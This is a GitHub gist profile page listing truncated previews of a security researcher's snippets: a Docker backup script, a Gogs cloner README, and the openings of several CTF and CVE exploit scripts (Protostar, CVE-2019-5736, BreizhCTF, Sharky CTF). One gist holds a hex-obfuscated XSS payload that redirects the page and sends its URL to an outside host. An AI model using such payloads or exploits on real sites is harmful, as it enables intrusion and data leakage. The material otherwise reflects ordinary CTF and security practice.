Skip to content

Instantly share code, notes, and snippets.

View Creased's full-sized avatar

Baptiste MOINE Creased

View GitHub Profile
@Creased
Creased / backup_img.sh
Created December 26, 2017 16:17
Backup Docker images
#!/bin/bash
OUTPUT="images/linuxkit.tar"
IMG_REGEX="/^(linuxkit)/"
IMG_IDS=$(docker images | awk '{if ($1 ~ '${IMG_REGEX}') print $3}')
docker save ${IMG_IDS} -o ${OUTPUT}
@Creased
Creased / README.md
Last active January 3, 2018 01:40
CVE-2016-5195 vulnerable Debian Jessie
@Creased
Creased / payload.js
Created February 22, 2018 16:38
payload xss
<p>[][`\x66\x69\x6c\x74\x65\x72`][`\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72`]`\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x66\x72\x2f\x3f\x27\x2b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x6c\x6f\x63\x61\x74\x69\x6f\x6e```
MariaDB [(none)]> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| app |
| information_schema |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.00 sec)
@Creased
Creased / README.md
Last active April 12, 2018 07:47
Gogs projects cloner

Gogs project cloner

Usage

  1. Create a backup user on your Gogs server
  2. Add this backup user as read-only collaborator to the projects that you want to backup
  3. Generate a token for this user (here)
  4. Update configuration of the script (especially BACKUP_DIRECTORY, BACKUP_USERNAME, BACKUP_TOKEN, API_BASE_URL and GIT_HOST)
  5. Run the script
  6. (Optionally) add this script to your crontab or rsnapshot.conf
@Creased
Creased / format_protostar.sh
Last active June 14, 2018 09:32
Protostar Stack Overflow (0-7), Format String (0-4), Heap Overflow (0-3) and Net (0-2)
export TMP=$(mktemp -d)
/bin/cat <<-EOF >${TMP}/exploit.py
#!/usr/bin/env python
# -*- coding:Utf-8 -*-
#==========================================================#
# [+] Title: Exploitation code for Protostar format 0 #
# [+] Author: Baptiste M. (Creased) #
# [+] Website: bmoine.fr #
@Creased
Creased / containerd.io_1.2.2-1_amd64.deb
Last active April 4, 2019 15:07
CVE-2019-5736 exploit
This file has been truncated, but you can view the full file.
@Creased
Creased / exploit.py
Created April 14, 2019 19:12
BreizhCTF 2019 - Hallowed be thy name
import base64
from pwn import *
context.log_level = 'info'
PROMPT = '>>> '
def get_con():
p = remote('ctf.bzh', 11000)
@Creased
Creased / exploit.py
Created May 15, 2019 07:59
Pwntools example
from pwn import *
# Doc: docs.pwntools.com/en/stable/
context.log_level = 'debug' # debug/info/error/warning.
context.arch = 'i386' # i386/x64/arm, etc.
## OPEN SOCKET.
sock = remote('challenges.ecsc-teamfrance.fr', 2000)
## OR, OPEN LOCAL PROCESS.
@Creased
Creased / exploit.py
Created May 11, 2020 06:55
Sharky CTF - Captain Hook
from pwn import *
context.clear(arch='amd64', log_level='info')
PROMPT = b'peterpan@pwnuser:~$ '
LOCAL = False
p = None
def create_process():